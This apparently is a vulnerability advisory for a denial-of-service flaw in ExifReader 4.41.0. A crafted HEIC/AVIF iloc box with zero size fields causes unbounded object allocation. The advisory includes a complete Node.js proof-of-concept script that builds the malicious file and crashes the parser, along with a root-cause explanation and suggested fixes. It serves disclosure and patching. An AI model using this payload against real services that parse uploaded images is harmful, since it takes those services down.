ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
2주 이내 패치 — 우선 조치 대상
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H상세 설명
Summary
ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.
Affected version tested
- npm package:
exifreader - Version:
4.41.0 - Affected formats: HEIC, AVIF (ISO-BMFF container)
Root cause
File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().
The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):
| Field | Controls |
|---|---|
offsetSize | Bytes per extent offset |
lengthSize | Bytes per extent length |
baseOffsetSize | Bytes per item base offset |
indexSize | Bytes per extent index |
The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:
1for (let j = 0; j < item.extentCount; j++) { 2 const extent = {}; 3 extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize); 4 offset += sizes.item.extent.extentIndex; // 0 when indexSize=0 5 extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize); 6 offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0 7 extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize); 8 offset += sizes.item.extent.extentLength; // 0 when lengthSize=0 9 item.extents.push(extent); // allocates unconditionally10}When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.
Reproduction
Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:
1const fs = require('fs'); 2const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js'); 3 4function u32be(n) { 5 return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255]; 6} 7function u16be(n) { 8 return [(n >>> 8) & 255, n & 255]; 9}10function str(s) {11 return Array.from(Buffer.from(s, 'ascii'));12}13function box(type, content) {14 return [...u32be(8 + content.length), ...str(type), ...content];15}16 17const ITEMS = 10000;18const EXTENTS = 65535;19 20const ftyp = box('ftyp', [21 ...str('heic'),22 ...u32be(0),23 ...str('mif1'),24 0, 0, 0, 0,25]);26 27const ilocPayload = [28 0, 0, 0, 0,29 0, 0,30 ...u16be(ITEMS),31];32 33for (let i = 0; i < ITEMS; i++) {34 ilocPayload.push(...u16be(i + 1));35 ilocPayload.push(...u16be(0));36 ilocPayload.push(...u16be(EXTENTS));37}38 39const iloc = box('iloc', ilocPayload);40const meta = box('meta', [0, 0, 0, 0, ...iloc]);41const data = Uint8Array.from([...ftyp, ...meta]);42 43fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);44 45console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);46 47const start = Date.now();48const timeout = setTimeout(() => {49 console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);50 process.exit(1);51}, 30000);52 53try {54 ExifReader.load(data.buffer);55 clearTimeout(timeout);56 console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);57} catch (e) {58 clearTimeout(timeout);59 console.log(`Error: ${e.message}`);60}Scaled test results
Run the above with different ITEMS values:
| Items | File size | Extent objects | Parse time | Heap growth |
|---|---|---|---|---|
| 1 | 58 bytes | 65,535 | 0.03s | +4 MB |
| 5 | 82 bytes | 327,675 | 0.17s | +16 MB |
| 100 | 652 bytes | 6,553,500 | 1.74s | +401 MB |
| 256 | 1,588 bytes | 16,776,960 | ~8s | OOM crash |
| 10000 | 60,052 bytes | 655,350,000 | - | OOM crash (4 GB+) |
Expected behavior
A zero-size field is valid per the ISO-BMFF spec (it means the field is not present). The parser should either:
- Skip the inner extent loop when all extent field sizes are zero and no items need extent data, or
- Cap the number of extent objects allocated (e.g., a per-item or cumulative budget).
Security impact
This is a denial-of-service vulnerability. An unauthenticated attacker can craft a ~1 KB HEIC/AVIF image that, when parsed by ExifReader, causes a JavaScript heap out-of-memory crash, aborting the application process. Any web service, desktop application, or mobile app that processes user-uploaded HEIC/AVIF images through ExifReader is affected.
Note: The impact is established using ExifReader's existing distributed (dist/exif-reader.js) code.
Suggested fix
In src/image-header-iso-bmff-iloc.js, in the getItems() function, add a maximum per-item extent limit:
1const MAX_EXTENTS_PER_ITEM = 10000; 2 3for (let j = 0; j < item.extentCount; j++) { 4 if (item.extents.length >= MAX_EXTENTS_PER_ITEM) { 5 break; 6 } 7 // ... existing code ... 8}Alternatively (or additionally), skip the inner loop when all extent field sizes are zero:
1if (sizes.item.extent.extentOffset === 0 && sizes.item.extent.extentLength === 0) { 2 // Fields are absent per spec; nothing meaningful to read 3 // Still advance offset if extentCount > 0 to maintain correctness 4 continue; 5}AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.